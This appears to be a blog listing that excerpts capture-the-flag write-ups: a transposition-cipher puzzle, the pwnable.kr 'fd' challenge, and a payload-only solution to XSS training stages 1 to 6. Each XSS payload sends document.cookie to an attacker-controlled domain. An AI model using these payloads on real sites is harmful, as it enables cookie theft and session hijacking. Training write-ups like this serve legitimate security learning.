Training: Crypto – Transposition I

Crypto – Transposition Explain It seems that the simple substitution ciphers are too easy for you. From my own experience I can tell that transposition ciphers are more difficult to attack. However, in this training challenge you should have not much problems to reveal the plaintext. Ciphertext oWdnreuf.lY uoc nar ae dht eemssga eaw yebttrew eh nht eelttre sra enic roertco drre . Ihtni koy uowlu dilekt  oes eoyrup sawsro don:wp ropglddpel.f 여러가지 암호화 기법이 있지만, 이를 복호화 하기 위해선 첨부된 http://en.wikipedia.org/wiki/Transposition_cipher에서 …

[pwnable.kr] fd

File descriptor [fd] Mommy! what is a file descriptor in Linux? ssh fd@pwnable.kr -p2222 (pw:guest) SSH를 통해 접근하면 위와 같은 창이 나온다. ls -al명령을 입력하면, fd, fd.c, flag파일이 보인다. fd 파일 : 실행 시킬 수만 있다. fd.c 파일 : 읽을 수 있다. flag 파일 : 암것도 할 수 없다. fd.c파일을 보면, (cmd: cat fd.c) #include <stdio.h> #include …

[KnockXss] Stage 1 to 6

XSS Thousand Knocks[link] {} == your domain > ex) http://xss.silnex.kr/ Skip stage url, payload only I open stage 1 to 6 Stage 1 /?location=%22http://example.com/?%22%2Bdocument.cookie Stage 2 /?q=<script>location=”{}?”%2bdocument.cookie</script> Stage 3 /?q=”><script>location=”{}?”+document.cookie</script> Stage 4 /?q=’><script>location='{}?’+document.cookie</script> Stage 5 /?q=</textarea><script>location='{}?’+document.cookie</script> Stage 6 /?q=</xmp><img+src=1+onerror=location='{}?’+document.cookie> Stage 7 to 34 were hidden.